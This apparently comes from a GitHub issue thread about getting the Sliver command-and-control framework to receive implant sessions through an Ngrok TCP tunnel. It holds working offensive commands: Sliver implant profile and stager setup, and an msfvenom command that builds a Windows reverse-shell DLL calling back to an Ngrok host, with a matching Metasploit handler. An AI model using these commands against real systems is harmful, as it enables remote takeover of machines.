How to config Sliver to work with a local port exposed/tunneled via Ngrok?

[Captainzalad]

Hello,
I would like to connect to my Windows Box which is hosted Online. currently I'm behind the CGNAT and use Ngrok to expose one of the my local Ports publicly.

I use the following Profile/Config:

sliver > mtls
[*] Starting mTLS listener ...
sliver >
[*] Successfully started job #3

sliver > profiles new --mtls localhost:8888 -N winbox -a x64 -f shellcode -s
[*] Saved new profile winbox

sliver > stage-listener --url tcp://localhost:9999 --profile winbox
[*] No builds found for profile winbox, generating a new one
[*] Job 4 (tcp) started

The Sliver doesn't create any session.
My question is: How can I config sliver to work with the Ngrok?

I've another identical windows machine which is hosted inside my LAN. when I use the configuration above, I get a session immediately.

• Note: in the both cases ncat works just fine.
• Port 9999 tcp exposed via Ngrok
• My sliver version is v1.4.22 hosted on Kali and my custom payload is https://github.com/noperator/CVE-2019-18935/blob/master/sliver-stager.c

[moloch--]

Make sure you also have port 8888 open/forwarded in addition to 9999. Other than that running behind ngrok shouldn't affect anything.

[Captainzalad]

Thank you for your prompt reply.
I've also exposed port 8888 as you mentioned, but still no success.

This is my Ngrok config: ngrok.yml

authtoken: ****
tunnels:
  sliver:
    addr: 8888
    proto: tcp
  stager:
    addr: 9999
    proto: tcp

Ngrok in action:

$ ./ngrok start --all
ngrok by @inconshreveable                                                      (Ctrl+C to quit)

Session Status                online
Account                       ***** (Plan: Free)
Version                       2.3.40
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    tcp://4.tcp.ngrok.io:18798 -> localhost:9999
Forwarding                    tcp://4.tcp.ngrok.io:18683 -> localhost:8888

Connections                   ttl     opn     rt1     rt5     p50     p90
                              7       0       0.07    0.02    0.53    1.07

[moloch--]

oh you'll need to point the callback to the ngrok port not the localhost port, e.g. --mtls 4.tcp.ngrok.io:1879

[Captainzalad]

I forgot to mention that in my previous reply, I've already done that. but still no success.

sliver > mtls

[*] Starting mTLS listener ...

[*] Successfully started job #1

sliver > profiles new --mtls 4.tcp.ngrok.io:18798 -N winbox -a x64 -f shellcode -s

[*] Saved new profile winbox

sliver > profiles

Name  Platform       Command & Control                Debug  Format     Obfuscation   Limitations
====  ========       =================                =====  ======     ===========   ===========
winbox  windows/amd64  [1] mtls://4.tcp.ngrok.io:18798  false  SHELLCODE  strings only

sliver > stage-listener --url tcp://localhost:9999 --profile winbox

[*] No builds found for profile winbox, generating a new one
[*] Job 2 (tcp) started

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   mtls  tcp       8888
2   TCP   tcp       9999

sliver > sessions

[*] No sessions 🙁

sliver >

Multiple payloads has been tested, Metasploit and Ncat works just fine. Example:

└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=4.tcp.ngrok.io LPORT=18798 -f dll -o /tmp/test.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
Saved as: /tmp/test.dll

Payload uploaded to the target and inside msfconsole or ncat session created immediacy:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST localhost
LHOST => localhost
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > run